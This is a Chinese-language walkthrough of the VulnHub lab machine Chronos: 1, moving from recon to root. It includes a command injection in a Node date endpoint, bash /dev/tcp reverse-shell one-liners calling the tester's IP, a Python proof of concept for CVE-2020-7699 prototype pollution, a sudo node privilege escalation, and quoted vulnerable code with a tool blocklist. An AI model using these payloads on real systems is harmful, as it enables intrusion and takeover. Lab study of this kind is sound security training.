# 前言

这不刚写完 nodejs 的相关利用,这里也是马上找到了一个 js 的靶机来学习一下,本次的的目标 Chronos: 1 ~ VulnHub,本来想水一下描述,但是发现作者就给了一个中等难度,那我就自己做下来的过程给一个描述。

# 描述

难度:中级

设计的任务:

  • 主机发现,端口扫描
  • WEB 应用攻击
  • 命令注入
  • 数据编解码
  • 框架漏洞利用
  • 代码审计
  • 本地提权

虚拟机:

  • 格式: 虚拟机 (Virtualbox OVA)
  • 操作系统: Linux.

联网:

  • DHCP 服务:已启用
  • IP 地址自动分配

# 攻击过程

# 信息收集

这里靶机和我的 kali 都是通过桥接连接到局域网中

image-20230715073929840

这里我 kali 的 ip 是 192.168.13.249, 这里用 nmap 扫描 13 全段

image-20230715074108860

这里给其分配的 ip 是 192.168.13.96, 接着对端口进行一个协议的发现

image-20230715074315887

这里可以看到 22 端口是一个 openssh 服务,版本是 7.6,80 是一个 Apache 的 web 服务版本是 2.4.29,8000 端口是一个 nodejs 的 web 服务

这里还是去通过浏览器访问 80 端口和 8000 端口

image-20230715075134888

image-20230715075157760

这里两个端口都发现了类似的 js 源码

image-20230715075334703

image-20230715075346630

这里将这部分 js 代码复制到文本中分析,这里文本信息很杂乱,而且有编码,这里使用在线工具对其进行整理

image-20230715080007487

var _0x5bdf = [
	'150447srWefj',
	'70lwLrol',
	'1658165LmcNig',
	'open',
	'1260881JUqdKM',
	'10737CrnEEe',
	'2SjTdWC',
	'readyState',
	'responseText',
	'1278676qXleJg',
	'797116soVTES',
	'onreadystatechange',
	'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
	'User-Agent',
	'status',
	'1DYOODT',
	'400909Mbbcfr',
	'Chronos',
	'2QRBPWS',
	'getElementById',
	'innerHTML',
	'date'
];
(function (_0x506b95, _0x817e36) {
	var _0x244260 = _0x432d;
	while (!![]) {
		try {
			var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
			if (_0x35824b === _0x817e36)
				break;
			else
				_0x506b95['push'](_0x506b95['shift']());
		} catch (_0x3fb1dc) {
			_0x506b95['push'](_0x506b95['shift']());
		}
	}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
	return _0x432d = function (_0x5bdf82, _0x432dc8) {
		_0x5bdf82 = _0x5bdf82 - 126;
		var _0x4da6e8 = _0x5bdf[_0x5bdf82];
		return _0x4da6e8;
	}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
	var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
	_0x2beb35[_0x17df92(137)] = function () {
		var _0x146f5d = _0x17df92;
		this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
	}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}

这里有个 url,先对参数进行解码,发现是 base58 加密

image-20230715082739759

现在不知道有什么用,这里去访问一下

image-20230715080204315

这里直接去访问是没有权限的,这里我开始以为是伪造身份信息之类,最后我又访问了一次不带参数的 8000 端口发现了奇怪的地方

image-20230715081112507

这里直接发送了 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 这个请求,但是他的页面又是基于 ip 的,这个域名没法解析,于是这里我更改了本地的 host 文件

image-20230715081512401

更改完成的效果

image-20230715081553334

这是我再去访问页面

image-20230715081819105

这里再去尝试访问 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 这个请求就是能成功的

image-20230715081712016

image-20230715081722800

两个页面都多来一条当前的时间

image-20230715082339580

这里可以看见,这个时间实际上是 get 的这个请求得到的,这里使用 burp 抓包方便测试,这个输出的结果格式和上面解码拿到的相同,这里更改了一下传入的信息

image-20230715083121633

这里通过 burp 重放

image-20230715083148006

可以看到这里是能根据我的参数进行改变的

# 命令注入反弹 shell

很显然这里应该是一个 date 命令,这里应该是可以进行命令注入

image-20230715085117363

这里这样尝试一下

image-20230715085140947

发现是能够成功执行命令的,这里反弹一个 shell

bash -c "bash -i >& /dev/tcp/192.168.13.249/2333 0>&1"

image-20230715085421912

这里就可以成功拿到一个 shell

image-20230715085501970

# 进一步信息收集

接下来就是去这台机器上面寻找相关信息,首先我到根目录就看到一个 lost+found 文件,这里应该是一个删除的文件,这里想要打开却权限不够

image-20230715090922436

所以这里我又去查看了一下 /etc/passwd 文件

image-20230715091218132

这里看见有两个可以执行 shell 的用户,这里去 home 目录看一下发现有一个 imera 目录,但是没权限打开其中的文件

image-20230715091623349

这里就需要提权,当时内核,sudo,suid 都没有找到能提权的方式,这里最后是在网站根目录找到了能进一步利用的地方,这里可以先看到 package,json 文件

image-20230715093606041

这里声明了环境用到的框架和库,这里可以看到使用了 express 框架,这里看一下 app.js

const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
app.use(cors());
app.get('/', (req,res) =>{
    res.sendFile("/var/www/html/index.html");
});
app.get('/date', (req, res) => {
    var agent = req.headers['user-agent'];
    var cmd = 'date ';
    const format = req.query.format;
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    var concat = cmd.concat(decoded);
    if (agent === 'Chronos') {
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{
        res.send("Permission Denied");
    }
})
app.listen(port,() => {
    console.log(`Server running at ${port}`);
})

这个就是刚刚访问的那个服务的代码,回到上级目录,这里发现了另一个目录

image-20230715102046937

这里看到 chronos-v2 是隶属 root 的,这里就猜测这里可能是有另一个 web 应用这里,这里也是进去看一下

image-20230715102811833

这里又发现一个 package.json 文件,这里打开看一下这个文件

image-20230715102923282

这里有一个 express-fileupload,这里存在原型链污染,这里先提一下,详细的后面说,接着打开 server.js 文件

const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
   res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

这里可以看到,这个 8080 只开放给 127.0.0.1,这里可以看到 parseNested 配置选项设置为 true,前面的版本是 1.1.7,条件都满足了 NodeJS 模块代码注入

# 漏洞利用

漏洞编号 CVE-2020-7699

import requests
url = 'http://127.0.0.1:8080'
cmd = 'bash -c "bash -i >& /dev/tcp/192.168.13.249/2444 0>&1"'
poc = {
    '__proto__.outputFunctionName': (None,f"x;process.mainModule.require('child_process').exec('{cmd}');x"
    )
}
requests.post(url, files=poc)
requests.get(url)

这里在 kali 开启 http 服务将文件传输进靶机中

image-20230715115021639

image-20230715115034887

这里监听 2444 端口后运行脚本

image-20230715115653458

成功拿到 shell,这里可以看到当前的用户是 imera,是不是就想起了开始为什么要提权?当即去到 imera 目录查看那个 user.txt 文件

image-20230715115924920

这里拿到的好像又是一个编码

image-20230715120043402

这里算是拿到了第一个 flag,但是这并没结束,我们并没有拿到 root 权限

# 二次提权

还是刚刚提到的三种提权方式,内核,suid,sudo 三种方式,分别查看后,发现这里 sudo 有配置漏洞

image-20230715120515989

这里使用 node 来进行提权

sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'

image-20230715120756692

这里提权成功,这里还是到家目录,这里还有一个 flag,也能拿到 root 的权限

image-20230715120835250

到这里就算是结束了,总的来说收获很多,但是对于 nodejs 的利用好像不是特别明显哈,也是去 CVE-2020-7699 复现・SUYUMEN 这位师傅的博客去学习了一下